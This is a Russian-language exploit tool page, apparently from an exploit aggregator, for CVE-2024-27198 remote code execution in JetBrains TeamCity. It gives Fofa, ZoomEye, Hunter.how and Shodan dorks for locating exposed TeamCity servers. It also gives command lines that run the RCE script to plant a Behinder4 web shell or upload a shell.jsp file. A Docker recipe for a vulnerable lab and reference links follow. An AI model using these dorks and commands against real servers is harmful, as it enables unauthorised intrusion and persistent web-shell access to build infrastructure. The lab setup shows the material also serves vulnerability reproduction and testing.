## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-W01FH4CKER-CVE-2024-27198-RCE
# Dork для поиска в киберпространстве
## Fofa
root@kitploit:~
app="JET_BRAINS-TeamCity"
## ZoomEye
root@kitploit:~
app:"JetBrains TeamCity"
## Hunter.how
root@kitploit:~
product.name="TeamCity"
## Shodan
root@kitploit:~
http.component:"teamcity"
# Как использовать
Я использую `Python3.9`.
root@kitploit:~
pip install requests urllib3 faker
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
# python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp


также:
root@kitploit:~
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111

# Настройка среды для воспроизведения уязвимости
Используйте docker, чтобы скачать уязвимый образ и запустить его:
root@kitploit:~
sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
# sudo ufw disable
Затем выполните базовые настройки:


# Ссылки
https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
https://github.com/Chocapikk/CVE-2024-27198